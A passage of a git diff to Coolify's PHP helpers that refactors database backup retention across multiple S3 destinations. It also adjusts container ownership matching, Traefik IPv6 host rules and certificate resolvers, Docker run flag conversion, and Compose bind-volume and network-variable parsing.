b/bootstrap/helpers/applications.php index 2f57eb8a9b..9e1f8867c5 100644 --- a/bootstrap/helpers/applications.php +++ b/bootstrap/helpers/applications.php @@ -509,6 +509,15 @@ function clone_application(Application $source, $destination, array $overrides = // Clone production environment variables without triggering the created hook $environmentVariables = $source->environment_variables()->get(); + $previewEnvironmentVariables = $source->environment_variables_preview()->get(); + + // Drop defaults auto-created for the new application (e.g. NIXPACKS_NODE_VERSION) so the source values win + EnvironmentVariable::query() + ->where('resourceable_type', $newApplication->getMorphClass()) + ->where('resourceable_id', $newApplication->id) + ->whereIn('key', $environmentVariables->pluck('key')->merge($previewEnvironmentVariables->pluck('key'))->unique()) + ->delete(); + foreach ($environmentVariables as $environmentVariable) { EnvironmentVariable::withoutEvents(function () use ($environmentVariable, $newApplication) { $newEnvironmentVariable = $environmentVariable->replicate([ @@ -527,7 +536,6 @@ function clone_application(Application $source, $destination, array $overrides = $source->cloneSecretManagerLinkTo($newApplication); // Clone preview environment variables - $previewEnvironmentVariables = $source->environment_variables_preview()->get(); foreach ($previewEnvironmentVariables as $previewEnvironmentVariable) { EnvironmentVariable::withoutEvents(function () use ($previewEnvironmentVariable, $newApplication) { $newPreviewEnvironmentVariable = $previewEnvironmentVariable->replicate([ diff --git a/bootstrap/helpers/databases.php b/bootstrap/helpers/databases.php index f4a97be5ce..a34fdde9a8 100644 --- a/bootstrap/helpers/databases.php +++ b/bootstrap/helpers/databases.php @@ -1,7 +1,9 @@ 'sftp', - 'host' => $server->ip, + 'host' => formatHostForUrl($server->ip), 'port' => (int) $server->port, 'username' => $server->user, 'privateKey' => $privateKey->getKeyLocation(), @@ -314,110 +316,96 @@ function deleteEmptyBackupFolder($folderPath, Server $server): void function removeOldBackups($backup): void { - try { - if ($backup->executions) { - // Delete old local backups (only if local backup is NOT disabled) - // Note: When disable_local_backup is enabled, each execution already marks its own - // local_storage_deleted status at the time of backup, so we don't need to retroactively - // update old executions - if (! $backup->disable_local_backup) { - $localBackupsToDelete = deleteOldBackupsLocally($backup); - if ($localBackupsToDelete->isNotEmpty()) { - $backup->executions() - ->whereIn('id', $localBackupsToDelete->pluck('id')) - ->update(['local_storage_deleted' => true]); - } - } - } - - if ($backup->save_s3 && $backup->executions) { - $s3BackupsToDelete = deleteOldBackupsFromS3($backup); - if ($s3BackupsToDelete->isNotEmpty()) { - $backup->executions() - ->whereIn('id', $s3BackupsToDelete->pluck('id')) - ->update(['s3_storage_deleted' => true]); - } - } - - // Delete execution records where all backup copies are gone - // Case 1: Both local and S3 backups are deleted + // When local backups are disabled, retain the local file until an S3 copy is available. + $localBackupsToDelete = deleteOldBackupsLocally($backup); + if ($localBackupsToDelete->isNotEmpty()) { $backup->executions() - ->where('local_storage_deleted', true) - ->where('s3_storage_deleted', true) - ->delete(); - - // Case 2: Local backup is deleted and S3 was never used (s3_uploaded is null) - $backup->executions() - ->where('local_storage_deleted', true) - ->whereNull('s3_uploaded') - ->delete(); - - } catch (Exception $e) { - throw $e; + ->whereIn('id', $localBackupsToDelete->pluck('id')) + ->update(['local_storage_deleted' => true]); } + + if ($backup->save_s3) { + deleteOldBackupsFromS3($backup); + } + + // Delete execution records when no local file and no S3 copy is left + $backup->executions() + ->where('local_storage_deleted', true) + ->withoutLiveS3Copies() + ->delete(); } -function deleteOldBackupsLocally($backup): Collection +/** + * Successful executions that fall outside the retention settings, newest execution first. + * + * @param Collection $executions Sorted newest first. + * @return Collection + */ +function backupExecutionsOutsideRetention(Collection $executions, ?int $retentionAmount, ?int $retentionDays, int|float|null $maxStorageGB): Collection { - if (! $backup || ! $backup->executions) { - return collect(); - } - - $successfulBackups = $backup->executions() - ->where('status', 'success') - ->where('local_storage_deleted', false) - ->orderBy('created_at', 'desc') - ->get(); - - if ($successfulBackups->isEmpty()) { - return collect(); - } - - $retentionAmount = $backup->database_backup_retention_amount_locally; - $retentionDays = $backup->database_backup_retention_days_locally; - $maxStorageGB = $backup->database_backup_retention_max_storage_locally; - - if ($retentionAmount === 0 && $retentionDays === 0 && $maxStorageGB === 0) { + if ($executions->isEmpty()) { return collect(); } $backupsToDelete = collect(); if ($retentionAmount > 0) { - $byAmount = $successfulBackups->skip($retentionAmount); - $backupsToDelete = $backupsToDelete->merge($byAmount); + $backupsToDelete = $backupsToDelete->merge($executions->skip($retentionAmount)); } if ($retentionDays > 0) { - $oldestAllowedDate = $successfulBackups->first()->created_at->clone()->utc()->subDays($retentionDays); - $oldBackups = $successfulBackups->filter(fn ($execution) => $execution->created_at->utc() < $oldestAllowedDate); - $backupsToDelete = $backupsToDelete->merge($oldBackups); + $oldestAllowedDate = $executions->first()->created_at->clone()->utc()->subDays($retentionDays); + $backupsToDelete = $backupsToDelete->merge( + $executions->filter(fn ($execution) => $execution->created_at->utc() < $oldestAllowedDate) + ); } if ($maxStorageGB > 0) { $maxStorageBytes = $maxStorageGB * pow(1024, 3); $totalSize = 0; - $backupsOverLimit = collect(); - $backupsToCheck = $successfulBackups->skip(1); - - foreach ($backupsToCheck as $backupExecution) { + foreach ($executions->skip(1) as $backupExecution) { $totalSize += (int) $backupExecution->size; if ($totalSize > $maxStorageBytes) { - $backupsOverLimit = $successfulBackups->filter( + $backupsToDelete = $backupsToDelete->merge($executions->filter( fn ($b) => $b->created_at->utc() <= $backupExecution->created_at->utc() - )->skip(1); + )->skip(1)); break; } } - - $backupsToDelete = $backupsToDelete->merge($backupsOverLimit); } - $backupsToDelete = $backupsToDelete->unique('id'); - $processedBackups = collect(); + return $backupsToDelete->unique('id')->values(); +} + +function deleteOldBackupsLocally($backup): Collection +{ + if (! $backup) { + return collect(); + } + + $successfulBackups = $backup->executions() + ->where('status', 'success') + ->where('local_storage_deleted', false) + ->when($backup->disable_local_backup, fn ($query) => $query + ->whereHas('s3Replicas', fn ($query) => $query + ->where('s3_uploaded', true) + ->where('s3_storage_deleted', false))) + ->orderBy('created_at', 'desc') + ->orderBy('id', 'desc') + ->get(); + + $backupsToDelete = backupExecutionsOutsideRetention( + $successfulBackups, + $backup->database_backup_retention_amount_locally, + $backup->database_backup_retention_days_locally, + $backup->database_backup_retention_max_storage_locally, + ); + + if ($backupsToDelete->isEmpty()) { + return collect(); + } - $server = null; if ($backup->database_type === ServiceDatabase::class) { $server = $backup->database->service->server; } else { @@ -433,89 +421,81 @@ function deleteOldBackupsLocally($backup): Collection ->pluck('filename') ->all(); - if (! empty($filesToDelete)) { - deleteBackupsLocally($filesToDelete, $server); - $processedBackups = $backupsToDelete; + if (empty($filesToDelete)) { + return collect(); } - return $processedBackups; + deleteBackupsLocally($filesToDelete, $server); + + return $backupsToDelete; } +/** + * Applies the S3 retention settings to each destination separately. Copies in a storage that no longer exists are + * marked as deleted. + * + * @return Collection The executions that lost at least one S3 copy. + */ function deleteOldBackupsFromS3($backup): Collection { - if (! $backup || ! $backup->executions || ! $backup->s3) { + if (! $backup) { return collect(); } - $successfulBackups = $backup->executions() - ->where('status', 'success') + $liveReplicas = DatabaseBackupS3Replica::query() + ->with('s3') + ->whereHas('execution', fn ($query) => $query + ->where('scheduled_database_backup_id', $backup->id) + ->where('status', 'success')) + ->where('s3_uploaded', true) ->where('s3_storage_deleted', false) - ->orderBy('created_at', 'desc') ->get(); - if ($successfulBackups->isEmpty()) { - return collect(); - } + $deletedReplicas = $liveReplicas->filter(fn (DatabaseBackupS3Replica $replica) => ! $replica->s3); - $retentionAmount = $backup->database_backup_retention_amount_s3; - $retentionDays = $backup->database_backup_retention_days_s3; - $maxStorageGB = $backup->database_backup_retention_max_storage_s3; + foreach ($liveReplicas->filter(fn (DatabaseBackupS3Replica $replica) => $replica->s3)->groupBy('s3_storage_id') as $replicas) { + $successfulBackups = $backup->executions() + ->whereIn('id', $replicas->pluck('execution_id')) + ->orderBy('created_at', 'desc') + ->orderBy('id', 'desc') + ->get(); - if ($retentionAmount === 0 && $retentionDays === 0 && $maxStorageGB === 0) { - return collect(); - } + $backupsToDelete = backupExecutionsOutsideRetention( + $successfulBackups, + $backup->database_backup_retention_amount_s3, + $backup->database_backup_retention_days_s3, + $backup->database_backup_retention_max_storage_s3, + ); - $backupsToDelete = collect(); + $filesToDelete = $backupsToDelete + ->filter(fn ($execution) => ! empty($execution->filename)) + ->pluck('filename') + ->all(); - if ($retentionAmount > 0) { - $byAmount = $successfulBackups->skip($retentionAmount); - $backupsToDelete = $backupsToDelete->merge($byAmount); - } - - if ($retentionDays > 0) { - $oldestAllowedDate = $successfulBackups->first()->created_at->clone()->utc()->subDays($retentionDays); - $oldBackups = $successfulBackups->filter(fn ($execution) => $execution->created_at->utc() < $oldestAllowedDate); - $backupsToDelete = $backupsToDelete->merge($oldBackups); - } - - if ($maxStorageGB > 0) { - $maxStorageBytes = $maxStorageGB * pow(1024, 3); - $totalSize = 0; - $backupsOverLimit = collect(); - - $backupsToCheck = $successfulBackups->skip(1); - - foreach ($backupsToCheck as $backupExecution) { - $totalSize += (int) $backupExecution->size; - if ($totalSize > $maxStorageBytes) { - $backupsOverLimit = $successfulBackups->filter( - fn ($b) => $b->created_at->utc() <= $backupExecution->created_at->utc() - )->skip(1); - break; - } + if (empty($filesToDelete)) { + continue; } - $backupsToDelete = $backupsToDelete->merge($backupsOverLimit); - } - - $backupsToDelete = $backupsToDelete->unique('id'); - $processedBackups = collect(); - - $filesToDelete = $backupsToDelete - ->filter(fn ($execution) => ! empty($execution->filename)) - ->pluck('filename') - ->all(); - - if (! empty($filesToDelete)) { try { - deleteBackupsS3($filesToDelete, $backup->s3); - $processedBackups = $backupsToDelete; + deleteBackupsS3($filesToDelete, $replicas->first()->s3); + $deletedReplicas = $deletedReplicas->merge($replicas->whereIn('execution_id', $backupsToDelete->pluck('id'))); } catch (Throwable $e) { report($e); } } - return $processedBackups; + if ($deletedReplicas->isEmpty()) { + return collect(); + } + + DatabaseBackupS3Replica::query() + ->whereKey($deletedReplicas->pluck('id')) + ->update(['s3_storage_deleted' => true]); + + $executions = $backup->executions()->whereIn('id', $deletedReplicas->pluck('execution_id')->unique())->get(); + $executions->each(fn (ScheduledDatabaseBackupExecution $execution) => $execution->refreshS3Summary()); + + return $executions; } function isPublicPortAlreadyUsed(Server $server, int $port, ?string $id = null): bool diff --git a/bootstrap/helpers/docker.php b/bootstrap/helpers/docker.php index 2c1025b623..faf3e43acb 100644 --- a/bootstrap/helpers/docker.php +++ b/bootstrap/helpers/docker.php @@ -89,10 +89,12 @@ function containerOwnerUuid(Collection|array|string $labels, string $type): ?str /** * Resource that owns a container, from the given candidates, by UUID label or compose project / - * stack namespace (see containerOwnerUuid()). Applications deployed before mid-2024 used the - * deployment directory as compose project; their compose service (the container name) starts - * with the application UUID. The numeric id label is never used: another Coolify instance that - * manages the same server can have a resource with the same id. + * stack namespace (see containerOwnerUuid()). Some older application containers have another + * compose project: the deployment directory (before mid-2024, or a custom Compose start command + * without --project-name). Their container name (`coolify.name`, for Dockerfile-style builds also + * the compose service) contains the application UUID as a dash-separated part, for example + * `{uuid}-104512123456` or `{service}-{uuid}-104512123456`. The numeric id label is never used: + * another Coolify instance that manages the same server can have a resource with the same id. * * @template TResource of \Illuminate\Database\Eloquent\Model * @@ -110,9 +112,11 @@ function resolveContainerOwner(Collection $resources, Collection|array|string $l return $owner; } - $composeService = (string) $labels->get('com.docker.compose.service'); + $names = [(string) $labels->get('com.docker.compose.service'), (string) $labels->get('coolify.name')]; - return $resources->first(fn ($resource) => $composeService === $resource->uuid || str_starts_with($composeService, $resource->uuid.'-')); + return $resources->first(fn ($resource) => collect($names)->contains( + fn (string $name) => filled($resource->uuid) && preg_match('/(?:^|-)'.preg_quote($resource->uuid, '/').'(?:-|$)/', $name) === 1 + )); } /** @@ -238,8 +242,8 @@ function dockerPsByOwnerCommands(string $type, string $uuid, array $extraFilters $base.' '.$filters(["label=coolify.{$type}Id", "label=com.docker.compose.project={$uuid}", ...$legacyFilters]).' '.$formatArgument, ]; if ($type === 'application') { - // Deployed before mid-2024 (see resolveContainerOwner()): the container name starts with the UUID. - $commands[] = $base.' '.$filters(['label=coolify.applicationId', "name=^{$uuid}", ...$legacyFilters]).' '.$formatArgument; + // Compose project is the deployment directory (see resolveContainerOwner()): the container name contains the UUID. + $commands[] = $base.' '.$filters(['label=coolify.applicationId', "name={$uuid}", ...$legacyFilters]).' '.$formatArgument; } return $commands; @@ -922,7 +926,20 @@ function dockerComposeServicePorts(?string $compose, ?string $serviceName): arra ->unique()->values()->all(); } -function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_https_enabled = false, $onlyPort = null, ?Collection $serviceLabels = null, ?bool $is_gzip_enabled = true, ?bool $is_stripprefix_enabled = true, ?string $service_name = null, bool $generate_unique_uuid = false, ?string $image = null, string $redirect_direction = 'both', bool $is_http_basic_auth_enabled = false, ?string $http_basic_auth_username = null, ?string $http_basic_auth_password = null, ?Collection $noindex_domains = null, bool $escape_redirect_replacement_for_compose = true, array $domainPortOverrides = [], ?int $http_basic_auth_bcrypt_cost = null) +/** + * Traefik matches an IPv6 host without brackets: Host(`[2a01:4f8::1]`) never matches a request, + * Host(`2a01:4f8::1`) does. Labels that were saved with brackets get them removed here. + */ +function traefikHostRulesWithoutIpv6Brackets(Collection $labels): Collection +{ + return $labels->map(fn ($label) => is_string($label) ? preg_replace_callback( + '/Host\(`\[([0-9A-Fa-f:.]+)\]`\)/', + fn (array $matches): string => filter_var($matches[1], FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false ? "Host(`{$matches[1]}`)" : $matches[0], + $label, + ) : $label); +} + +function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_https_enabled = false, $onlyPort = null, ?Collection $serviceLabels = null, ?bool $is_gzip_enabled = true, ?bool $is_stripprefix_enabled = true, ?string $service_name = null, bool $generate_unique_uuid = false, ?string $image = null, string $redirect_direction = 'both', bool $is_http_basic_auth_enabled = false, ?string $http_basic_auth_username = null, ?string $http_basic_auth_password = null, ?Collection $noindex_domains = null, bool $escape_redirect_replacement_for_compose = true, array $domainPortOverrides = [], ?string $certificate_resolver = 'letsencrypt', ?int $http_basic_auth_bcrypt_cost = null) { $labels = collect([]); $labels->push('traefik.enable=true'); @@ -975,6 +992,8 @@ function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_ $url = Url::fromString($domain); $host = $url->getHost(); + // Traefik matches an IPv6 Host header without brackets: Host(`[2a01:4f8::1]`) never matches. + $traefikHost = trim($host, '[]'); $path = $url->getPath(); $schema = $url->getScheme(); $portlessDomain = ServiceApplication::withoutPort($domain); @@ -1019,7 +1038,7 @@ function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_ ]; if ($schema === 'https') { // Set labels for https - $labels->push("traefik.http.routers.{$https_label}.rule=Host(`{$host}`) && PathPrefix(`{$path}`)"); + $labels->push("traefik.http.routers.{$https_label}.rule=Host(`{$traefikHost}`) && PathPrefix(`{$path}`)"); $labels->push("traefik.http.routers.{$https_label}.entryPoints=https"); if ($port) { $labels->push("traefik.http.routers.{$https_label}.service={$https_label}"); @@ -1088,10 +1107,12 @@ function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_ } } $labels->push("traefik.http.routers.{$https_label}.tls=true"); - $labels->push("traefik.http.routers.{$https_label}.tls.certresolver=letsencrypt"); + if (filled($certificate_resolver)) { + $labels->push("traefik.http.routers.{$https_label}.tls.certresolver={$certificate_resolver}"); + } // Set labels for http (redirect to https) - $labels->push("traefik.http.routers.{$http_label}.rule=Host(`{$host}`) && PathPrefix(`{$path}`)"); + $labels->push("traefik.http.routers.{$http_label}.rule=Host(`{$traefikHost}`) && PathPrefix(`{$path}`)"); $labels->push("traefik.http.routers.{$http_label}.entryPoints=http"); if ($port) { $labels->push("traefik.http.services.{$http_label}.loadbalancer.server.port=$port"); @@ -1111,7 +1132,7 @@ function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_ } } else { // Set labels for http - $labels->push("traefik.http.routers.{$http_label}.rule=Host(`{$host}`) && PathPrefix(`{$path}`)"); + $labels->push("traefik.http.routers.{$http_label}.rule=Host(`{$traefikHost}`) && PathPrefix(`{$path}`)"); $labels->push("traefik.http.routers.{$http_label}.entryPoints=http"); if ($port) { $labels->push("traefik.http.services.{$http_label}.loadbalancer.server.port=$port"); @@ -1227,6 +1248,7 @@ function generateLabelsApplication(Application $application, ?ApplicationPreview http_basic_auth_bcrypt_cost: $application->http_basic_auth_bcrypt_cost, noindex_domains: $noindexDomains, domainPortOverrides: $application->domain_port_overrides ?? [], + certificate_resolver: $application->destination->server->traefikCertificateResolver($application->settings?->traefik_certificate_resolver), )); break; case ProxyTypes::CADDY->value: @@ -1268,6 +1290,7 @@ function generateLabelsApplication(Application $application, ?ApplicationPreview noindex_domains: $noindexDomains, escape_redirect_replacement_for_compose: false, domainPortOverrides: $application->domain_port_overrides ?? [], + certificate_resolver: $application->destination->server->traefikCertificateResolver($application->settings?->traefik_certificate_resolver), )); $labels = $labels->merge(fqdnLabelsForCaddy( network: $application->destination->network, @@ -1317,6 +1340,7 @@ function generateLabelsApplication(Application $application, ?ApplicationPreview noindex_domains: $noindexDomains, escape_redirect_replacement_for_compose: false, domainPortOverrides: $preview->domain_port_overrides ?? [], + certificate_resolver: $application->destination->server->traefikCertificateResolver($application->settings?->traefik_certificate_resolver), )); break; case ProxyTypes::CADDY->value: @@ -1356,6 +1380,7 @@ function generateLabelsApplication(Application $application, ?ApplicationPreview noindex_domains: $noindexDomains, escape_redirect_replacement_for_compose: false, domainPortOverrides: $preview->domain_port_overrides ?? [], + certificate_resolver: $application->destination->server->traefikCertificateResolver($application->settings?->traefik_certificate_resolver), )); $labels = $labels->merge(fqdnLabelsForCaddy( network: $application->destination->network, @@ -1744,6 +1769,27 @@ function convertDockerRunToCompose(?string $custom_docker_run_options = null) } } + // Short interactive/TTY flags (-i, -t, -it, -ti) and their long forms are not matched by + // the long-option regex above. Map them to compose so a single-image app can keep STDIN + // open (docker -i) and/or allocate a TTY (docker -t) — required for `docker attach` to an + // interactive main process, e.g. game-server consoles. + // Keep quoted option values together so flags inside an entrypoint are not options. + preg_match_all('/(?:[^\\s\'"\\\\]+|\\\\.|"(?:\\\\.|[^"\\\\])*"|\'(?:\\\\.|[^\'\\\\])*\')+/', (string) $custom_docker_run_options, $tokens); + foreach ($tokens[0] as $token) { + if ($token === '--interactive') { + $compose_options->put('stdin_open', true); + } elseif ($token === '--tty') { + $compose_options->put('tty', true); + } elseif (preg_match('/^-[dit]+$/', $token)) { + if (str_contains($token, 'i')) { + $compose_options->put('stdin_open', true); + } + if (str_contains($token, 't')) { + $compose_options->put('tty', true); + } + } + } + return $compose_options->toArray(); } @@ -1918,6 +1964,17 @@ function escapeBashEnvValue(?string $value): string return "'{$escaped}'"; } +function escapeComposeEnvFileValue(?string $value, bool $allowInterpolation = false): string +{ + $escaped = str_replace(['\\', '"'], ['\\\\', '\\"'], $value ?? ''); + + if (! $allowInterpolation) { + $escaped = str_replace('$', '\\$', $escaped); + } + + return '"'.$escaped.'"'; +} + /** * Escape a value for bash double-quoted strings (allows $VAR expansion) * diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 765ec995e8..01a5b04a66 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -140,6 +140,56 @@ function composeResourceDirectory(Application|Service $resource): string return $resource->workdir(); } +/** + * Renders a long-syntax bind with its resolved source. It keeps the options that Docker Compose + * accepts, such as read_only and bind, and removes other keys, which Compose rejects. Without + * `bind.create_host_path`, a missing source is created, as with short syntax: Docker Compose + * before v2.30 does not do that for long syntax. + * + * @param array $volume + * @return array + */ +function composeLongBindVolume(array $volume, string $source): array +{ + $volume = array_filter( + $volume, + fn ($key) => in_array($key, ['type', 'source', 'target', 'read_only', 'consistency', 'bind'], true) || str_starts_with((string) $key, 'x-'), + ARRAY_FILTER_USE_KEY + ); + $volume['source'] = $source; + $volume['bind'] = is_array($volume['bind'] ?? null) ? $volume['bind'] : []; + $volume['bind']['create_host_path'] ??= true; + + return $volume; +} + +/** + * A long-syntax bind with `bind.create_host_path: false` must fail when its host path is missing. + * Coolify must not create that path, so it does not add a file storage for it. A volume with + * `content:` is still written by Coolify. + */ +function composeBindKeepsMissingHostPath(mixed $volume): bool +{ + return is_array($volume) + && data_get($volume, 'bind.create_host_path') === false + && ! array_key_exists('content', $volume); +} + +/** + * Removes the file storage that an earlier save created for a bind that now keeps its missing host + * path. Otherwise, the storage jobs still create that path. The files on the server stay. A storage + * with a backup schedule stays, because it cannot be deleted before its schedule. + */ +function forgetComposeBindStorage(Application|ServiceApplication|ServiceDatabase $resource, string $mountPath): void +{ + $resource->fileStorages() + ->where('mount_path', $mountPath) + ->where('is_host_file', false) + ->whereDoesntHave('scheduledBackups') + ->get() + ->each->delete(); +} + /** * Coolify writes the `content:` of a Compose bind volume to the source path on the host. Only * administrators can edit a Compose file, and they can mount any host path, so the source can be @@ -196,18 +246,38 @@ function validateComposeArrayVolumeSource(string $source): void } /** - * Splits a top-level network `name:` that is one whole Compose variable (`${VAR}`, `${VAR:-default}` - * or `${VAR-default}`), such as an external network that differs per server. + * Matches one braced Compose variable: `${VAR}`, `${VAR:-default}`, `${VAR-default}`, + * `${VAR:?error}`, `${VAR?error}`, `${VAR:+value}` or `${VAR+value}`. + */ +const COMPOSE_NETWORK_VARIABLE_PATTERN = '\$\{([A-Za-z_][A-Za-z0-9_]*)(?::?([-?+])([^}]*))?\}'; + +/** + * Splits a top-level network `name:` that is one whole Compose variable (see + * COMPOSE_NETWORK_VARIABLE_PATTERN), such as an external network that differs per server. Only the + * `-` operators give a default; the text after `?` is an error message and after `+` a value that + * Compose uses only when the variable is set. * * @return array{variable: string, default: ?string}|null */ function composeNetworkNameVariable(string $name): ?array { - if (preg_match('/\A\$\{([A-Za-z_][A-Za-z0-9_]*)(?::?-([^}]*))?\}\z/', $name, $matches) !== 1) { + if (preg_match('/\A'.COMPOSE_NETWORK_VARIABLE_PATTERN.'\z/', $name, $matches) !== 1) { return null; } - return ['variable' => $matches[1], 'default' => $matches[2] ?? null]; + return ['variable' => $matches[1], 'default' => ($matches[2] ?? '') === '-' ? $matches[3] : null]; +} + +/** + * Tells if the text after the operator of a Compose variable is safe. A default or alternative value + * becomes part of the network name; an error message only shows in the Compose error, so it can + * also contain spaces and simple punctuation. + */ +function isSafeComposeNetworkVariableOperand(string $operator, string $operand): bool +{ + $pattern = $operator === '?' ? '/\A[A-Za-z0-9 _.,:!-]*\z/' : '/\A[A-Za-z0-9_.-]*\z/'; + + return preg_match($pattern, $operand) === 1; } /** @@ -254,20 +324,19 @@ function validateComposeNetworkNameField(string $name): void } /** - * Allows $VAR, ${VAR}, ${VAR:-default} and ${VAR-default} with safe defaults in a network value that Compose interpolates. + * Allows $VAR and the braced variables of COMPOSE_NETWORK_VARIABLE_PATTERN with safe operands in a network value that Compose interpolates. */ function validateComposeNetworkNameWithVariables(string $name, string $context, ?string $serviceName = null): void { $variable = composeNetworkNameVariable($name); - if ($variable !== null) { - $isValid = $variable['default'] === null || ValidationPatterns::isValidDockerNetwork($variable['default']); + if ($variable !== null && $variable['default'] !== null) { + $isValid = ValidationPatterns::isValidDockerNetwork($variable['default']); } else { $hasSafeDefaults = true; $withoutVariables = preg_replace_callback( - '/\$\{([A-Za-z_][A-Za-z0-9_]*)(?::?-([^}]*))?\}|\$[A-Za-z_][A-Za-z0-9_]*/', + '/'.COMPOSE_NETWORK_VARIABLE_PATTERN.'|\$[A-Za-z_][A-Za-z0-9_]*/', function (array $matches) use (&$hasSafeDefaults): string { - $default = $matches[2] ?? ''; - if ($default !== '' && preg_match('/\A[A-Za-z0-9_.-]+\z/', $default) !== 1) { + if (! isSafeComposeNetworkVariableOperand($matches[2] ?? '', $matches[3] ?? '')) { $hasSafeDefaults = false; } @@ -1051,6 +1120,12 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $baseNetwork = collect(["{$uuid}-{$pullRequestId}"]); } + $legacyNullEnvironmentVariables = $resource->environment_variables()->get(); + if ($isPullRequest) { + $legacyNullEnvironmentVariables = $resource->environment_variables_preview()->get() + ->concat($legacyNullEnvironmentVariables)->unique('key'); + } + $parsedServices = collect([]); $allMagicEnvironments = collect([]); @@ -1426,15 +1501,14 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } } if ($type->value() === 'bind') { - if ($source->value() === '/var/run/docker.sock') { - $volume = $source->value().':'.$target->value(); - if (isset($parsed['mode']) && $parsed['mode']) { - $volume .= ':'.$parsed['mode']->value(); - } - } elseif ($source->value() === '/tmp' || $source->value() === '/tmp/') { - $volume = $source->value().':'.$target->value(); - if (isset($parsed['mode']) && $parsed['mode']) { - $volume .= ':'.$parsed['mode']->value(); + if (in_array($source->value(), ['/var/run/docker.sock', '/tmp', '/tmp/'], true)) { + if (is_string($volume)) { + $volume = $source->value().':'.$target->value(); + if (isset($parsed['mode']) && $parsed['mode']) { + $volume .= ':'.$parsed['mode']->value(); + } + } else { + $volume = composeLongBindVolume($volume, $source->value()); } } else { if ((int) $resource->compose_parsing_version >= 4) { @@ -1449,26 +1523,35 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int if ($isPullRequest && $isPreviewSuffixEnabled) { $source = str(addPreviewDeploymentSuffix($source, $pull_request_id)); } - LocalFileVolume::updateOrCreate( - [ - 'mount_path' => $target, - 'resource_id' => $originalResource->id, - 'resource_type' => get_class($originalResource), - ], - [ - 'fs_path' => $source, - 'mount_path' => $target, - 'content' => $content, - 'is_directory' => $isDirectory, - 'resource_id' => $originalResource->id, - 'resource_type' => get_class($originalResource), - ] - ); + // With `bind.create_host_path: false`, the host path must exist already: Coolify does not create or manage it. + if (! composeBindKeepsMissingHostPath($volume)) { + LocalFileVolume::updateOrCreate( + [ + 'mount_path' => $target, + 'resource_id' => $originalResource->id, + 'resource_type' => get_class($originalResource), + ], + [ + 'fs_path' => $source, + 'mount_path' => $target, + 'content' => $content, + 'is_directory' => $isDirectory, + 'resource_id' => $originalResource->id, + 'resource_type' => get_class($originalResource), + ] + ); + } else { + forgetComposeBindStorage($originalResource, $target->value()); + } // The file storage keeps the path that Coolify writes; the Docker daemon may need another one. $source = $source->replace($mainDirectory, devHostDockerPath($server, $mainDirectory->value())); - $volume = "$source:$target"; - if (isset($parsed['mode']) && $parsed['mode']) { - $volume .= ':'.$parsed['mode']->value(); + if (is_array($volume)) { + $volume = composeLongBindVolume($volume, $source->value()); + } else { + $volume = "$source:$target"; + if (isset($parsed['mode']) && $parsed['mode']) { + $volume .= ':'.$parsed['mode']->value(); + } } } } elseif ($type->value() === 'volume') { @@ -1627,6 +1710,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } } + $passthroughEnvironmentKeys = extractDockerComposePassthroughKeys(data_get($service, 'environment', [])); $normalEnvironments = $environment->diffKeys($allMagicEnvironments); $normalEnvironments = $normalEnvironments->filter(function ($value, $key) { return ! str($value)->startsWith('SERVICE_'); @@ -1636,6 +1720,35 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $value = str($value); $originalValue = $value; $parsedValue = replaceVariables($value); + if ($value->isEmpty() && $passthroughEnvironmentKeys->contains($key->value())) { + $resource->environment_variables()->firstOrCreate([ + 'key' => $key, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + ]); + + continue; + } + extractDockerComposeEnvironmentVariableReferences($value->value()) + ->reject(fn (string $reference): bool => str_starts_with($reference, 'SERVICE_')) + ->each(function (string $reference) use ($resource): void { + $environmentVariable = $resource->environment_variables()->firstOrCreate([ + 'key' => $reference, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + ]); + $isRequired = dockerComposeEnvironmentVariableIsRequired( + $resource->docker_compose_raw ?? $resource->docker_compose, + $reference + ); + if ((bool) $environmentVariable->is_required !== $isRequired) { + $environmentVariable->update(['is_required' => $isRequired]); + } + }); if ($value->startsWith('$SERVICE_')) { $resource->environment_variables()->firstOrCreate([ 'key' => $key, @@ -1688,14 +1801,11 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ - 'value' => $defaultValue, + 'value' => $isRequired ? null : $defaultValue, 'is_preview' => false, 'is_required' => $isRequired, ]); - // Add the variable to the environment so it will be shown in the deployable compose file - $environment[$varName] = $envVar->value; - // Recursively process nested variables in default value if (str_contains($defaultValue, '${')) { $searchPos = 0; @@ -1720,7 +1830,6 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int 'value' => $nestedSplit['default'], 'is_preview' => false, ]); - $environment[$nestedSplit['variable']] = $nestedEnvVar->value; } else { $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ 'key' => $nestedContent, @@ -1729,7 +1838,6 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int ], [ 'is_preview' => false, ]); - $environment[$nestedContent] = $nestedEnvVar->value; } } @@ -1751,8 +1859,6 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int 'is_preview' => false, 'is_required' => $isRequired, ]); - // Add the variable to the environment using the saved DB value - $environment[$content] = $envVar->value; } } else { // Fallback to old behavior for malformed input (backward compatibility) @@ -2010,6 +2116,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int noindex_domains: $noindexDomains, redirect_direction: $redirectDirection, domainPortOverrides: $domainPortOverrides, + certificate_resolver: $server->traefikCertificateResolver(data_get($resource, 'settings.traefik_certificate_resolver')), )); break; case ProxyTypes::CADDY->value: @@ -2047,6 +2154,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int noindex_domains: $noindexDomains, 